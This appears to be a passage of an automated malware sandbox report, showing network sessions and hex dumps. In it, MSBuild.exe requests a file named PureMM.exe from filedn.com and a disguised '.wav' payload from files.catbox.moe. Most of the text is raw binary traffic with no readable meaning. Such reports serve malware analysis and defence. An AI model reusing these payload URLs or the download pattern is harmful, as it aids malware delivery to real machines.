2023-08-13 06:42:07 UTC	544	IN	Data Raw: 91 ff e0 8f 5b 0f f0 ff f2 73 d4 ab ac 42 8b 32 b4 da 69 da 77 d1 fc 76 05 75 55 7b 10 67 ee be 0c 51 ef 78 f4 5d 65 1d 38 01 32 6a 63 8c bc 87 4b 08 65 cf 22 d4 f3 4b 81 03 1b aa f2 3e b8 20 22 fd ce 75 e0 e3 1c fd 06 1e 29 9a f4 2c ab 68 f5 d4 2f 13 d2 c5 5f 64 8b 10 f4 de 3f 53 76 5d 72 db d3 eb e5 48 22 a4 a1 c0 fd b5 14 00 9b fe fb 52 77 d3 a6 a2 47 e0 5c 14 8e e6 f7 e6 9b bb 9a 34 74 2d 28 af f2 2d f2 a3 32 88 ab 0b be b4 71 47 0a ba 63 29 80 82 d7 8a a4 c1 89 4b 1e 21 50 17 87 4e be 5d c1 82 ef 7c 1b 97 6b 11 c0 d5 2b 2a 4c c3 f8 65 78 fc 76 92 36 bf 17 a4 bf 6e 38 26 07 19 6a 4e c4 ce cb 39 61 fe 1b 42 f7 9d ae 40 c9 53 af 9c ef b4 ce 7c 3b a7 90 d9 7b 76 6a a7 74 fb e9 11 61 ea 3b f4 cb 29 01 b6 df 7c dd 5c aa aa 5c 7a a8 b4 d7 44 2e 3a 9a a7 3c Data Ascii: [sB2iwvuU{gQx]e82jcKe"K> "u),h/_d?Sv]rH"RwG\4t-(-2qGc)K!PN]\|k+*Lexv6n8&jN9aB@S\|;{vjta;)\|\\zD.:<
2023-08-13 06:42:07 UTC	560	IN	Data Raw: c5 09 ca 3c 99 e7 ea b0 b7 c4 a5 dd e8 56 53 35 8e ff 58 eb 82 35 4b f1 f1 0e e0 7c 2b c5 38 a0 5a eb 48 44 59 c4 ab ad ca 11 d0 e1 d0 01 0b a4 90 5d 98 7f 01 67 1f f8 d0 fa 1e 37 2b 6f 58 c5 8f 3a 16 46 6e 0e 23 fb 01 db 88 f0 ef b6 48 36 ac a0 54 06 67 9a 98 a3 21 84 e1 84 0e 7a 53 00 dd 35 71 34 38 31 38 a7 98 83 31 ab f1 ef f6 f9 85 8b f1 be c4 62 49 a1 a5 2a e9 68 39 10 53 e4 54 a8 bf c6 e5 fd a5 91 83 d4 76 a1 f2 13 82 77 d7 e5 ef 3e da 15 51 c2 df 30 2f 92 5f c8 f7 2d d3 8b 80 d7 8f c0 f3 ba 95 15 1c 5b bd 36 26 3d 0e b9 d6 76 b8 7f b8 e2 95 48 b6 91 29 3b e7 14 54 ca e7 69 3a ba 08 e8 f0 f9 28 ea af c0 db 61 63 86 4b 2a cb b5 83 1c b5 8b 4e 38 74 a8 f1 e0 4a 8d 7a d7 7e 4e 02 b8 d5 dc 29 9f 3f 8b 5f 39 1d df 4d 2e 81 66 ec 48 c9 79 ab 84 8f 11 ff Data Ascii: <VS5X5K\|+8ZHDY]g7+oX:Fn#H6Tg!zS5q48181bIh9STvw>Q0/_-[6&=vH);Ti:(acKN8tJz~N)?_9M.fHy
2023-08-13 06:42:07 UTC	576	IN	Data Raw: b1 3f dc 87 0e a3 83 99 ba 91 f4 6c 90 94 53 a4 14 b2 10 e0 43 ab 4c 3e 15 25 f5 32 b5 68 e8 58 58 5b ec f7 68 3d e2 86 3f ad 64 a0 36 98 55 05 03 ce fb f3 b6 d3 23 67 1e d4 ee 75 d9 a9 46 99 dc f0 d6 2c 39 56 0b 33 bd dc 34 94 e2 ec 7d 37 3e ca 2f a9 a6 5b 99 ee 79 ba db 9e 0d 01 16 7b 2d 84 c2 b7 1d 75 8c a5 e4 e0 17 9b e5 a1 fe 62 c7 a1 10 bd cb aa 08 81 74 2d 2a 32 e9 7a 6a 2f 0b 7b a2 84 9a 30 eb 5c e1 d1 a9 b7 48 be 6b 24 c7 19 43 8f 07 29 66 9b c5 2d 91 8d fa af c9 73 08 c4 7d 5f 4f 21 df 83 ea e1 3c ee 00 a7 b9 d3 a6 8f ce 20 bc 21 99 8f b2 fe b3 19 ca 8f 63 b2 6e d9 1e be 50 ce 0e 42 f2 99 a2 9a bf f5 dc c9 3a 71 eb 53 22 3f c7 33 ed e9 93 0c a7 cf 1b 82 4f 88 1c 7e 5e 01 d7 60 90 85 01 98 bc 3b e2 19 e5 d0 dc 0c ef 7c f7 86 ef fa 56 fe d9 95 12 Data Ascii: ?lSCL>%2hXX[h=?d6U#guF,9V34}7>/[y{-ubt-*2zj/{0\Hk$C)f-s}_O!< !cnPB:qS"?3O~^`;\|V
2023-08-13 06:42:07 UTC	592	IN	Data Raw: b4 57 7b 23 9a 59 d6 41 2d aa b0 f5 19 c0 3a c3 25 2b 73 5e 63 32 8f 08 86 e1 12 09 75 40 bc 67 51 b3 cc 55 85 09 db 64 db 7a b9 35 0a bb ab 2c 71 2c 7f 99 4b 7f f4 5d 83 1b 67 6f 21 39 e6 a4 61 07 d9 c1 2b f3 11 ea c3 9b 08 00 47 26 e8 75 fd 2f e2 9f 2e 2a 03 9f 1c f8 f3 01 ac 70 ae 15 9a 94 12 d9 49 10 16 c8 09 ca 4e 45 cf 55 aa c7 55 1c 63 9e ac 25 36 b0 ce 21 c0 fa 9e 86 0e 95 eb fd 7d a9 fe 8a 1b 88 f4 02 b7 8e 06 11 01 b6 44 4c 9d aa 73 3c 7e 5c 44 76 8d cd f9 91 3c 92 4e af 33 64 6d bf 20 b3 78 07 a0 28 2e 06 e1 a9 ab cc f9 19 09 d1 c9 d8 f6 d5 c3 f5 01 da 73 29 3f 4a 5e f0 48 6a c7 cb 32 2c a3 58 f7 b3 a3 83 1e 54 86 65 17 cf 64 08 a4 a3 d9 de dd b3 45 1b f6 7a 16 09 a9 b4 25 49 ed 9e 29 ea b0 44 2b 2a a6 ed 8f 38 ef bb de 85 98 7f 21 e9 ec b7 23 Data Ascii: W{#YA-:%+s^c2u@gQUdz5,q,K]go!9a+G&u/.pINEUUc%6!}DLs<~\Dv<N3dm x(.s)?J^Hj2,XTedEz%I)D+8!#
2023-08-13 06:42:07 UTC	608	IN	Data Raw: ad 44 a4 31 21 e8 93 8d 73 5e ef 2e 3f 21 b4 d6 be 38 3e 15 2a 9f 6a 10 a6 83 19 a5 c9 b7 d5 c6 4f 4f 41 e4 e0 f3 3d 62 4d a1 20 b0 01 04 65 84 6b 37 ee 19 f5 83 98 3e 65 e7 e4 a0 2a 75 a4 a8 15 0e ee 4c 9d df 59 71 7e a8 74 2d 25 42 5d ee 70 04 7e b9 2b f9 04 c0 8b ca dd 99 ea 9e 4a 5f cc ec 71 56 c9 5a 0f 6d b1 c6 1d 96 96 d8 2f fb 93 79 6a b3 ec ae af c9 e4 2d e4 21 4a 5e d3 ca d1 5a e8 34 dc f8 c7 32 48 cb bc a6 66 28 4c b8 51 d1 19 f0 48 63 aa b3 4e 6f 86 88 a4 53 49 d7 b3 53 46 26 66 e0 2f 31 89 f4 58 9d 76 0d c0 39 b7 13 85 6e 2f 98 c4 5e 98 15 06 fc ea 89 2b a8 6e d1 1a 33 9e b3 5d 9e f0 ca e8 cf c3 2b 8f 34 ef 35 b3 30 b4 70 c5 53 65 37 fa 1d 03 4f f8 a4 ef 15 f3 5a e5 31 0f db 54 aa cb aa 0d 6e bf fa ed 0b fd a1 25 8e 24 fd ce e1 ba 35 53 db cc Data Ascii: D1!s^.?!8>jOOA=bM ek7>euLYq~t-%B]p~+J_qVZm/yj-!J^Z42Hf(LQHcNoSISF&f/1Xv9n/^+n3]+450pSe7OZ1Tn%$5S
2023-08-13 06:42:07 UTC	624	IN	Data Raw: 18 be 93 0c f2 a4 a0 61 4f 14 1a 9a 20 82 a9 9e 60 0b a1 0f 2f 1f 89 7e 73 3a 33 ea 0d 9c a0 13 1c 91 dc 93 6b 9b 65 f3 0c 11 42 af 27 fd 3a ff 5f 74 49 78 0f b7 d0 20 57 4a 72 83 e0 5b 86 fd 6d 60 14 ad 33 32 8f 27 70 d1 f9 4f 2c ac 9c 6c 83 76 a9 f8 e4 fd 4b 53 30 39 91 6d ca fa 3e 03 8c 1b fb 5e 5f de b3 44 d0 56 0b 89 4f 1d 77 9b 6f 48 df 32 70 5c ff 5b 14 7a 0c ef 15 31 19 e8 46 5a 61 ba 8f 94 eb 45 41 dc 1d 29 43 63 25 82 f4 bd 23 c5 d6 d2 ce 2e 93 0b 1d 33 dd a8 07 5b 1a fb 71 87 3d 29 bd 71 31 d1 83 d8 4c e5 02 81 c4 b6 b8 71 89 48 c9 3c 6f 41 24 96 33 d0 14 c5 7c 55 17 fe 9b 7c d3 4a 3e e7 41 6b 40 7b 59 bd 95 c7 4e bd da 02 1c 06 ce 65 a0 8d 0f 59 ab 20 9f 5e 93 fe 1e 22 bb 22 fd 86 d7 2e 90 76 77 c2 b8 c2 11 23 77 1b 0c 71 2c 46 ea bc 8d 79 ac Data Ascii: aO `/~s:3keB':_tIx WJr[m`32'pO,lvKS09m>^_DVOwoH2p\[z1FZaEA)Cc%#.3[q=)q1LqH<oA$3\|U\|J>Ak@{YNeY ^"".vw#wq,Fy
2023-08-13 06:42:07 UTC	640	IN	Data Raw: 8f 8a f7 40 30 3f 62 63 41 2e 2d df 7a bf a0 fd f0 51 d4 19 14 41 e5 ca 81 7c 64 cf 5a f9 cc 14 bd 48 66 bd ef 10 36 19 32 64 5f b8 01 73 1e 07 ea 9b e4 3d 33 6d 07 59 a8 25 73 de f5 7f 8e c3 24 53 e8 97 78 e7 51 25 ee 97 40 24 c4 79 34 cb 69 b7 d9 16 30 93 d8 ba 5c b4 ad 2f 8d 81 14 8d 22 56 f1 ce 7f 26 79 e3 5d fd eb 1e 7d f7 7c 34 8c 91 50 62 b4 b1 b1 9e 0c 06 b5 61 e7 d4 6d bf c8 dd 23 bf 8b 0b 5a d8 78 f1 4c 55 95 3f 0a c2 70 4a ba ea 39 c2 2c 3b 55 a8 c1 de e9 29 5e 93 17 5b 0c 3d 8e 12 2b 01 c1 fe b9 b5 d0 50 11 e2 57 84 ea e9 08 22 ff de d7 49 1a a4 23 b7 2e 9c 53 fc 9d 07 a9 e3 a4 59 c4 7a 69 d0 6b 27 e2 0f fe 8f 1a 71 e9 23 a7 1d 05 af 22 fc 67 6b f6 1f cd a5 76 bb 03 bd 09 ce ac 9a 8c e7 44 5a 30 e9 50 4d 41 ec bc 6d 8c 96 78 85 0f 5c 27 c3 7f Data Ascii: @0?bcA.-zQA\|dZHf62d_s=3mY%s$SxQ%@$y4i0\/"V&y]}\|4Pbam#ZxLU?pJ9,;U)^[=+PW"I#.SYzik'q#"gkvDZ0PMAmx\'
2023-08-13 06:42:07 UTC	656	IN	Data Raw: ad a7 30 0d 6c ca fe c3 d2 02 e3 42 8a 0e 06 3a c5 71 f0 50 74 3f d2 05 42 cd f1 ab 24 46 ae 88 62 02 61 18 09 ea 97 28 c6 08 c7 51 8e ef 90 b8 4f 8b b5 29 20 6d ed 98 3a 0c 81 be 98 4e 96 44 a4 b9 7b 96 ea d9 56 a6 49 73 8b f7 6b ef 58 81 85 57 b2 8b ac ca 45 ae 52 88 b5 81 c5 b9 2d 38 0c d7 96 b7 f2 1a 29 10 2d be 3c 58 5a 8c 32 f0 ae 3e 42 2d a2 98 cc f8 1d 22 ad 33 2e 57 d6 0f 90 02 24 9e e1 3f d1 dc e0 f5 34 8d cb 82 e7 e9 31 5a f1 ae 17 80 d8 66 03 f3 d0 63 24 39 73 66 7a 05 84 e0 5d c2 a8 f8 43 b9 f9 88 1e ec c1 e4 e7 4f e4 6b 5f 9e be 6f ec a4 43 e8 35 93 64 25 e5 62 45 8d 50 4e 53 48 07 43 1f fc 5f a9 25 b2 d2 08 23 b8 fb d1 b8 16 41 87 8d 9e 03 b3 19 4a 7c 48 ca 94 d5 c3 9c d8 cc 44 32 2f df a7 67 3c 4a 8d 89 e5 42 1b 7b 43 7c c6 04 b3 49 1b 68 Data Ascii: 0lB:qPt?B$Fba(QO) m:ND{VIskXWER-8)-<XZ2>B-"3.W$?41Zfc$9sfz]COk_oC5d%bEPNSHC_%#AJ\|HD2/g<JB{C\|Ih
2023-08-13 06:42:07 UTC	672	IN	Data Raw: 29 bc b3 3d 82 f1 1d 53 2e 7b ef 22 59 6e 94 e5 1e 07 2e b2 86 64 d4 4a af 3d df 54 65 27 86 1b 52 19 4e 5c 84 68 61 6f 08 13 03 3d 66 6e 3d a6 55 74 1c 65 57 ce 8b 29 11 a7 6c d1 f3 f2 24 7b 16 c7 59 6f 56 f8 95 34 5a 1b e7 b8 c3 05 5a d3 63 02 61 e4 d4 9d 96 94 a1 1d 46 a2 dd ce ea fd 21 de 73 36 07 9a 5a 80 ad c2 0f 4b 6e 45 59 d8 5d 37 1c 56 33 9e a9 b0 7c 10 d6 8c 79 6c 66 4a 55 82 ed 61 d8 6b 81 35 c0 6d b8 29 f7 31 1c 36 9d ff 85 b6 9e cf c5 1d 9c 64 60 cb 5e 13 4b 02 31 eb 10 67 a1 b9 6a 86 98 5a 87 9c 46 1f 76 5c ea 69 42 7a a5 61 4f b0 01 8a d4 c0 2f 58 72 ab dc 3b a6 84 7e 18 e0 9d c7 4b b9 6c ff 3f 6f 2a f9 c2 49 36 1f 8e 22 90 1b 57 b0 67 f2 7c 14 2a 72 00 81 df 14 3d 86 3f 3e 76 13 c6 b4 a3 ed ec 97 7a 65 76 50 7f de fc af 24 84 97 ac 1a 74 Data Ascii: )=S.{"Yn.dJ=Te'RN\hao=fn=UteW)l${YoV4ZZcaF!s6ZKnEY]7V3\|ylfJUak5m)16d`^K1gjZFv\iBzaO/Xr;~Kl?oI6"Wg\|r=?>vzevP$t
2023-08-13 06:42:07 UTC	688	IN	Data Raw: 3f 40 e3 b1 b2 e0 48 1e 3f 4f 65 b5 60 f7 96 a3 d7 36 0a 26 1d 5f f1 b2 32 dc 75 04 b5 66 8e e7 30 13 28 c1 77 12 fb 66 e0 16 b0 34 26 e5 d6 99 85 3b 8e 32 c6 7d b2 5f a3 47 b5 7c 6e f2 0e 63 26 61 98 d1 a1 36 7c a0 f8 8d ff 19 bd be e4 da d7 a7 a7 35 2b 5d 3f b0 59 66 f6 9a cd 65 62 05 e4 45 19 b4 f6 72 40 f0 8f 98 fa f4 f4 4c fb 51 06 24 2f ba 03 d0 06 df 61 84 d1 35 f0 31 fb 7b 36 63 e6 6e 67 11 12 7a 14 cc ed 75 59 80 af b3 94 13 a9 44 7a 67 45 67 53 b5 b2 12 99 40 15 a7 38 7e d0 0b 9d fe 65 34 e4 cf 24 60 08 29 16 5d f8 8e 6f a6 0e 49 14 40 55 38 f8 0b 10 c8 6e 7f 66 f4 a4 5d d3 d3 23 bf 47 3e 96 6b c0 b5 41 ca 56 15 33 d1 19 97 a9 71 0c 8d 7d 3c 2e ea 60 af 36 9b 0c 8e 3d f2 32 79 f5 15 4b cf 00 ba 36 dc f1 21 c4 9d 81 04 fb 70 30 93 90 54 a8 de 37 Data Ascii: ?@H?Oe`6&_2uf0(wf4&;2}_G\|nc&a6\|5+]?YfebEr@LQ$/a51{6cngzuYDzgEgS@8~e4$`)]oI@U8nf]#G>kAV3q}<.`6=2yK6!p0T7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49750	23.109.93.100	443	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-13 06:43:28 UTC	689	OUT	GET /lTN3WiiT0lphcISvfSuLLhp/xbitz/PureMM.exe HTTP/1.1 Host: filedn.com Connection: Keep-Alive
2023-08-13 06:43:28 UTC	689	IN	HTTP/1.1 404 Not Found Server: CacheProxyHTTPd v1.0 Date: Sun, 13 Aug 2023 06:42:45 +0000 Content-Type: text/html; charset="UTF-8" Content-Length: 2450 Connection: close
2023-08-13 06:43:28 UTC	689	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 3c 74 69 74 6c 65 3e 70 43 6c 6f 75 64 20 2d 20 34 30 34 20 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 70 63 64 6e 2d 66 69 6c 65 64 6e 2e 70 63 6c 6f 75 64 2e 63 6f 6d 2f 63 73 73 2f 6d 61 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 66 61 76 2e 69 63 6f 22 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title>pCloud - 404 File not found</title> <link href="//pcdn-filedn.pcloud.com/css/main.css" rel="stylesheet" type="text/css"> <link href="fav.ico" rel="shortcut icon" type="image/x-icon"

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49753	108.181.20.39	443	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-13 06:43:42 UTC	691	OUT	GET /1eq98g.wav HTTP/1.1 Host: files.catbox.moe Connection: Keep-Alive
2023-08-13 06:43:42 UTC	691	IN	HTTP/1.1 200 OK Server: nginx/1.21.3 Date: Sun, 13 Aug 2023 06:43:42 GMT Content-Type: application/octet-stream Content-Length: 705040 Last-Modified: Sat, 12 Aug 2023 22:58:06 GMT Connection: close ETag: "64d80e7e-ac210" X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self' https://files.catbox.moe; style-src https://files.catbox.moe 'unsafe-inline'; img-src 'self' data:; font-src 'self'; media-src 'self'; object-src 'self'; Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Accept-Ranges: bytes
2023-08-13 06:43:42 UTC	692	IN	Data Raw: ea 4f c1 13 bb 5b df 09 35 6e c5 b4 b2 a4 ab 9f 7b 3d 0d 5d f7 89 bc c5 ec 13 85 84 ab 4a a3 7e d4 59 f2 22 a3 8b d0 f0 01 28 bf db 13 67 52 2d d5 9e 5f f7 6e 53 3c 29 4b da 70 73 8c 8a f1 53 59 53 15 f8 a7 8d 46 d5 3b 88 14 87 5b 3e 46 58 20 f0 d6 21 e5 e3 2c 5a 1a 42 c9 42 68 0f 0d 49 1f d1 e3 db 9a f3 39 90 ae 20 73 db e8 a2 ec f5 da c2 4d 36 e4 ef 34 da 3f 88 1c 96 f1 3e de 2d 50 13 d1 db ed bb 14 08 16 ae 2b 8e 16 43 80 0c e7 a1 7d c5 e1 a2 95 84 72 2b 88 d2 38 e1 21 47 3f 1a 8c fa 90 0f b1 86 1d bd 91 43 c8 47 4c c6 33 a3 a4 30 69 85 46 d1 f8 b9 e4 48 a4 90 2a aa 89 21 e0 8b b6 78 96 64 61 03 ce 60 c2 a7 54 2c 38 c2 02 1c b4 1b 5e 40 39 00 ea 40 da 64 00 3a 3e 95 dd c6 9e e1 1d c2 8b dc fb 0e 89 77 26 37 78 12 f6 ad 76 1a 8b e1 cc 51 11 ea 39 b4 a3 Data Ascii: O[5n{=]J~Y"(gR-_nS<)KpsSYSF;[>FX !,ZBBhI9 sM64?>-P+C}r+8!G?CGL30iFH*!xda`T,8^@9@d:>w&7xvQ9
2023-08-13 06:43:42 UTC	707	IN	Data Raw: 40 b3 8e fb 6d ee f0 dc e9 df 68 33 64 f3 68 7b 9a f9 47 e6 14 8f ad c4 39 15 50 fb 0c 07 86 76 38 21 19 49 18 0a b9 0b 35 7d b7 c1 49 06 1d 2a 9b 5e ee 1b c8 bb 94 51 87 24 96 46 44 85 82 76 80 22 97 35 69 97 35 8a 4c 08 ae 24 c2 0c 8f 1a 62 08 64 48 62 48 d2 ef 15 5b 73 ad 6b 0d b0 20 25 0c ce 78 0d f3 9b 20 46 1d 63 e3 77 59 e9 e0 63 e8 d7 3d 6d c2 4b fb 77 38 0f 7a 38 12 42 6e 4b 5b cd 6f 8e 0e d2 96 e6 b9 3d ef 99 08 4e bf 1a 07 58 5e 3d d0 1f 24 42 56 aa 67 f6 09 fc d3 5e 68 66 17 c0 05 48 66 69 9e 06 45 00 4a ba f6 80 bc c7 9b 57 d1 3e 73 1b 06 94 06 1f ac 33 9f e0 10 e3 68 54 b5 cf ee 01 fd 76 1c fc a1 8d 96 f9 f9 ce b1 34 24 f7 5c bf bd 89 3c f9 9e 41 84 d8 73 9a de d0 1b f2 6a 74 e0 10 e6 98 55 a2 c2 e1 ec 5e 0e cc 7d 34 f1 1b 1a 6e ed 6d c2 b2 Data Ascii: @mh3dh{G9Pv8!I5}I*^Q$FDv"5i5L$bdHbH[sk %x FcwYc=mKw8z8BnK[o=NX^=$BVg^hfHfiEJW>s3hTv4$\<AsjtU^}4nm
2023-08-13 06:43:42 UTC	723	IN	Data Raw: 61 c9 8f 73 62 33 47 cd 09 ff 99 1d 29 ef 06 da 36 ab b4 a8 b4 b1 5f 6d 8d b8 6a 53 cb 95 07 93 1d cd a9 91 f3 57 34 1b a5 f8 cc 28 a8 0b 7d e4 ca eb 46 a7 c4 b5 08 8c 71 91 55 17 4f 5f 61 44 6c 36 e0 d1 a2 31 59 48 e7 56 22 32 7b b9 56 11 00 cd d1 f5 ee 2e 6f 92 c1 af b7 02 e0 03 37 d9 bc 71 57 80 00 1c f5 4b 48 9f 2c 96 19 06 28 50 fe fa dd 74 55 34 ad 4f 2a 9e 46 29 e8 82 6f 5f 1f 44 7e 51 0f a5 44 db f1 b7 9e 54 39 ca f8 fd 4b f2 3d bd 5a f9 19 41 47 86 3a 76 ab 66 04 f5 dd 1c 96 d4 d7 6d bf 72 a5 33 22 5e d7 03 02 f8 07 6b cf a2 ae ab 4a d3 ff d5 2e 92 c2 28 ad 56 d8 ef 62 61 d1 42 e3 15 74 26 be 3f 40 f1 d3 af 1c 5f 54 57 d7 bd bb 10 55 aa ae 1a 1b 25 23 d9 6c 7c cc 2a 78 0b 70 3a 2a bb 52 be 56 6c 4b d3 1a 5a ad 93 21 ef e5 bc 3d 2e 47 af a8 66 b7 Data Ascii: asb3G)6_mjSW4(}FqUO_aDl61YHV"2{V.o7qWKH,(PtU4OF)o_D~QDT9K=ZAG:vfmr3"^kJ.(VbaBt&?@_TWU%#l\|xp:*RVlKZ!=.Gf
2023-08-13 06:43:42 UTC	739	IN	Data Raw: f1 47 f2 3d bd 85 0f 3e 13 8e a6 2e 76 67 3e f9 bc 4f 5c 13 8b 1f 99 0f ec f5 42 6a 25 68 60 33 e2 cb 93 84 2f e9 96 6a 63 16 02 7c 23 33 b4 68 96 f7 34 15 0f e8 18 1d 57 26 40 fe f7 a2 1c 15 f6 72 a7 90 1c cd 3a 2a d3 2f f4 33 7b 00 ea 44 7b 0a c5 4a b4 1f fb 84 f8 7e 60 25 80 77 e8 b6 f9 9a 43 9d b4 ff cf b2 3c 52 34 f9 9e e2 aa eb 1d 6d 55 91 23 f1 0e 92 0c 07 7e f7 7c 14 81 8b b1 af b7 6c f8 e5 d0 f9 5f f1 ea db fa 20 ba 62 a8 17 47 8a 93 9a dd 7c fc 72 3e e6 53 9d 91 c1 cb c0 d8 22 27 3a 94 be 69 c1 d5 4a 81 45 21 ca 40 88 f8 79 10 35 cc 9a 43 50 b4 8c e4 10 d8 ae 90 d7 b9 fd 89 a6 0a 42 a6 0f df 45 9f 48 59 ce 0d 14 83 e2 e3 27 4d d6 6b 62 63 ec 86 cc c6 e2 e9 f9 65 8a 91 09 d6 6a 13 c9 e3 eb 56 a4 76 05 87 2f 6b 36 9a b7 10 f6 c2 ad 65 57 0c 53 ca Data Ascii: G=>.vg>O\Bj%h`3/jc\|#3h4W&@r:*/3{D{J~`%wC<R4mU#~\|l_ bG\|r>S"':iJE!@y5CPBEHY'MkbcejVv/k6eWS
2023-08-13 06:43:42 UTC	755	IN	Data Raw: 4c d0 1b 55 38 83 b0 01 f5 48 ee 93 69 9e 24 c0 ca 86 1a 68 bd 27 79 d2 1b b2 6e b5 61 ee bb 5e 5a dd 32 3f b0 f3 ab 9a b6 9b 20 eb b6 02 ff 06 a5 78 5d ad 26 dd 2c f7 f4 b5 94 6f 5d 76 a2 b0 7f be 02 1c c2 38 c8 ee e4 d3 70 02 09 f2 5b 24 e6 37 9a d3 3e a6 5f d2 38 a1 12 67 d7 f3 33 2a d0 ab 01 ec 28 15 e7 6c 6f d2 10 a5 60 15 df da 18 97 29 39 61 85 08 63 48 f9 36 fc 5e aa 35 2d ad eb 43 ef 7c 2f 74 9f a2 9a 4f b5 35 a0 5e 5b 56 71 63 ec ed 19 60 38 83 fc a5 16 0a 03 57 de bd e1 f5 e2 8e e5 23 05 ba 10 c4 32 69 9d 55 26 65 85 bd 95 d7 d0 56 d7 9b 57 7e 88 cf a1 2e b8 41 90 a7 6b 38 66 4d 23 ea e7 23 a0 66 fe 53 38 c1 ac 81 95 69 e7 59 e8 28 65 4f a3 99 0d be d1 78 77 ae b8 ee 74 73 f9 bc 4b aa 46 48 4f 4e 1c 70 12 30 dc 43 17 fa 41 cd 76 7c 09 2d b6 c6 Data Ascii: LU8Hi$h'yna^Z2? x]&,o]v8p[$7>_8g3*(lo`)9acH6^5-C\|/tO5^[Vqc`8W#2iU&eVW~.Ak8fM##fS8iY(eOxwtsKFHONp0CAv\|-
2023-08-13 06:43:42 UTC	771	IN	Data Raw: 46 10 d9 9b 9a 91 60 0a a7 22 c9 8d 1e 8e f3 8a 41 ed ee d2 bd 6f 7e 46 3b 02 91 c9 74 d5 14 57 a9 5d 51 94 1c 81 8f ee 4b 53 48 ba ce c1 bd fb f1 3c f4 ce 8e b0 28 82 de cb 3c 17 8a c7 fe 33 9c 5a 30 8d b1 7f f6 f2 c3 07 1e 19 74 8f e8 18 bd c8 8f a6 e1 a0 7f 12 3d ac 09 5a b0 9d 1f 78 a1 05 ab 87 ef f8 59 e3 76 74 0a 1a d7 14 dd 3c 59 9d 9b 88 5f f9 aa 1b b0 9f 21 50 29 3d ca 01 96 b1 62 7e 19 38 50 7d 6c 33 d9 b6 ea 11 87 f2 b6 a1 3d 6c 4b 15 2f b8 92 ec dc b1 92 96 27 c5 6f 78 a8 cb b1 bb 7e 57 66 82 56 b2 d9 94 3a f7 5b e5 b6 5a fd 1a 92 9d 31 25 cf 54 33 c8 d8 41 45 eb f9 22 66 2a 21 fe 7c 87 ea cc ac 12 84 4b 70 e7 51 75 25 5f 09 48 55 2b 4d 5a 05 f4 85 db 9f 71 02 57 9b b5 d9 9b 68 1f 26 31 bb 50 28 e5 5b 80 5e d5 fd e2 c0 44 71 4f 57 35 fb 64 92 Data Ascii: F`"Ao~F;tW]QKSH<(<3Z0t=ZxYvt<Y_!P)=b~8P}l3=lK/'ox~WfV:[Z1%T3AE"f*!\|KpQu%_HU+MZqWh&1P([^DqOW5d
2023-08-13 06:43:42 UTC	787	IN	Data Raw: 54 49 00 c9 5a 84 2f 4e 31 1a 54 c6 a7 18 3f 70 37 10 7a da 7e ec ac 7b 6a 39 0d 12 71 75 50 31 12 28 67 25 f2 45 27 77 02 65 1b 8b 8a 54 6d 56 b7 1c 8f 48 86 d8 0c 28 f1 7f 23 7e 6e 3a fe b4 c6 a1 89 42 cd a3 7c 6f 40 6e 6c 5b c5 56 a2 b9 8d 81 b5 a9 31 d5 ea 67 5b b3 df 5e e0 d6 ea 95 d3 b9 41 b3 af c4 c3 15 69 6b 6d 21 3c 8f 1d 1c 5e 4d 29 15 40 18 2e 13 27 9a 45 94 3b bd d5 58 bd b8 d1 45 3a 77 22 9a 67 c5 0d a7 37 d8 85 39 ee b9 57 75 a9 33 98 7f 55 db e0 92 08 c5 ef df b5 e3 e9 39 dd 2f 61 e9 60 86 14 ce 8d 41 69 14 3c 7b 9d d5 fd 8a 88 fc f8 b3 6c e7 97 b3 27 0f 4f f6 a1 9c 19 6b 67 15 9f 74 f5 1e 4e 5b 43 3e d8 d4 6d 80 a2 f6 8c 19 43 7a b1 83 b0 61 56 4d 9c dd 61 40 51 17 94 ba 1e 8d fc 8a a3 bc 94 c8 7d 91 5f b0 df fe 10 7c 70 90 5f 8a ad b9 e8 Data Ascii: TIZ/N1T?p7z~{j9quP1(g%E'weTmVH(#~n:B\|o@nl[V1g[^Aikm!<^M)@.'E;XE:w"g79Wu3U9/a`Ai<{l'OkgtN[C>mCzaVMa@Q}_\|p_
2023-08-13 06:43:42 UTC	803	IN	Data Raw: b6 48 83 ba 4e 0b 74 83 56 28 4f 57 56 79 83 30 aa 4f b1 01 90 5d 2f 14 27 26 b3 52 76 14 0d 6f 83 42 ca b8 e9 ca dd f3 57 a6 47 15 da 27 e7 d3 23 7b 1b 02 d8 e2 b9 a9 c6 3e 93 7e a2 92 28 79 26 26 61 0c e0 fe b6 c6 28 3b 4a 43 5d 8e fb 02 e8 4a 0c 68 49 d3 fa ae 6d 09 2c b8 99 22 b2 49 07 9d 0a 64 ca 5e ec b9 66 b0 f4 4c 1c 1c 7f d5 f0 12 db f6 c2 ec de 07 67 82 33 45 31 52 51 66 7b 86 7d f5 6d 00 90 e2 84 6d 4e 5a dc 52 94 c6 af 46 ca 25 af d9 38 1d 95 0f 28 37 dc 56 47 06 cc 59 77 58 e5 f3 bd c2 b0 01 a7 ea cb 58 4f cd a2 b6 a1 a3 3e 67 71 f6 ae 2b b7 7d 24 ce de fd 25 1b d3 fb eb 51 c0 93 d7 a7 27 26 bc 83 62 be 65 e3 56 b0 2d 24 d1 11 c3 82 78 0d 